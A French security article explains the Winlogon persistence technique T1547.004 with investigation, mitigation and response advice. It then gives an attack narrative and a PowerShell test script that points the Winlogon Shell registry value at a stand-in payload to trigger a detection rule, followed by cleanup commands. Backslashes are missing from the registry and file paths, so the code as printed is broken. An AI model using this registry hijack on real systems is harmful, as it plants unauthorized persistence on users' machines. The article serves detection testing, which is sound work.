T1547.004 dans MITRE ATT&CK : Assistant Winlogon Expliqué

Résumé

L’article explique la méthode de persistance du Winlogon Helper DLL suivie sous la référence T1547.004 et montre comment les adversaires manipulent les clés du registre Winlogon pour charger du code malveillant lors de la connexion de l’utilisateur. Il fait référence à des exemples réels liés à la campagne ToyBraker, au malware KamiKakaBot et à un échantillon connu sous le nom de Mandela.exe. L’accent est mis sur les modifications du registre qui déclenchent l’exécution automatique de DLL malveillantes ou d’exécutables au démarrage d’un système ou lors de la connexion d’un utilisateur.

Investigation

Les chercheurs ont documenté des attaquants créant des comptes utilisateur non autorisés et modifiant les valeurs du registre Winlogon telles que LegalNoticeText, DefaultUserName, AutoLogonCount et Shell pour préserver l’accès. Des échantillons de malware et des cas d’intrusion ont également montré l’utilisation d’outils en ligne de commande comme net user et reg add pour injecter des paramètres malveillants et lancer des charges utiles PowerShell durant le processus de connexion.

Atténuation

Les défenseurs devraient surveiller de près et restreindre les modifications des clés du registre Winlogon, appliquer des contrôles de privilèges minimum pour la création de comptes, et utiliser le contrôle des applications pour bloquer les DLL non fiables ou non signées. Des vérifications régulières des tâches planifiées, des services et des emplacements de démarrage peuvent également aider à identifier les changements de persistance non autorisés.

Réponse

Lorsque des activités suspectes du registre Winlogon sont découvertes, isolez le point de terminaison concerné, capturez les preuves volatiles et restaurez les valeurs du registre modifiées à un état connu et intact. Une enquête judiciaire devrait ensuite rechercher tout mécanisme de persistance supplémentaire et scanner l’hôte pour des composants malveillants liés.

Exécution de simulation

Prérequis : Le contrôle pré-vol de télémetrie et de base doit avoir été validé.

Justification : Cette section détaille l’exécution précise de la technique de l’adversaire (T1547.004) conçue pour déclencher la règle de détection. Les commandes et le récit produisent directement la télémétrie attendue par la logique de détection.

• Narrative d’attaque & Commandes :
  Un attaquant qui a obtenu des droits d’administration locale souhaite persister à travers les redémarrages. Ils choisissent le classique détournement de “Shell” de Winlogon car il s’exécute avant le chargement du bureau de l’utilisateur et échappe à de nombreux produits AV d’endpoint. Les étapes sont :

  1. Créez une charge utile malveillante (par exemple, C:Tempévil.exe).
  2. Ajoutez une nouvelle valeur à HKLMSoftwareMicrosoftWindows NTCurrentVersionWinlogonShell pointant vers la charge utile.
  3. Vérifiez le changement est effective, puis déconnectez-vous/reconnectez-vous pour effectuer l’exécution.

• Script de test de régression :

  #-------------------------------------------------
  # Test de Régression – Détournement du Shell Winlogon (T1547.004)
  #-------------------------------------------------
  param(
      [string]$PayloadPath = "C:Tempevil.exe",
      [string]$BackupPath = "$env:Tempwinlogon_shell_backup.txt"
  )
  
  # 1. Déployez une charge utile fictive (une simple copie de calc.exe pour démo)
  if (-not (Test-Path $PayloadPath)) {
      Copy-Item "$env:SystemRootSystem32calc.exe" $PayloadPath -Force
  }
  
  # 2. Sauvegardez la valeur Shell actuelle (si elle existe)
  $regPath = "HKLM:SoftwareMicrosoftWindows NTCurrentVersionWinlogon"
  $currentShell = (Get-ItemProperty -Path $regPath -Name Shell -ErrorAction SilentlyContinue).Shell
  Set-Content -Path $BackupPath -Value $currentShell -Encoding UTF8
  
  # 3. Définir la valeur Shell malveillante
  Set-ItemProperty -Path $regPath -Name Shell -Value $PayloadPath -Force
  
  Write-Host "[+] Shell Winlogon malveillant défini sur $PayloadPath"
  Write-Host "[+] Valeur originale enregistrée dans $BackupPath"

• Commandes de nettoyage :

  #---------------------------------
  # Nettoyage – Restauration du Shell Winlogon
  #---------------------------------
  $regPath = "HKLM:SoftwareMicrosoftWindows NTCurrentVersionWinlogon"
  $backupFile = "$env:Tempwinlogon_shell_backup.txt"
  
  if (Test-Path $backupFile) {
      $original = Get-Content -Path $backupFile -Raw
      if ([string]::IsNullOrWhiteSpace($original)) {
          # La valeur originale était vide – supprimer la propriété
          Remove-ItemProperty -Path $regPath -Name Shell -ErrorAction SilentlyContinue
      } else {
          Set-ItemProperty -Path $regPath -Name Shell -Value $original -Force
      }
      Remove-Item $backupFile -Force
      Write-Host "[+] Shell Winlogon restauré à l'état original."
  } else {
      Write-Warning "Fichier de sauvegarde non trouvé – inspection manuelle requise."
  }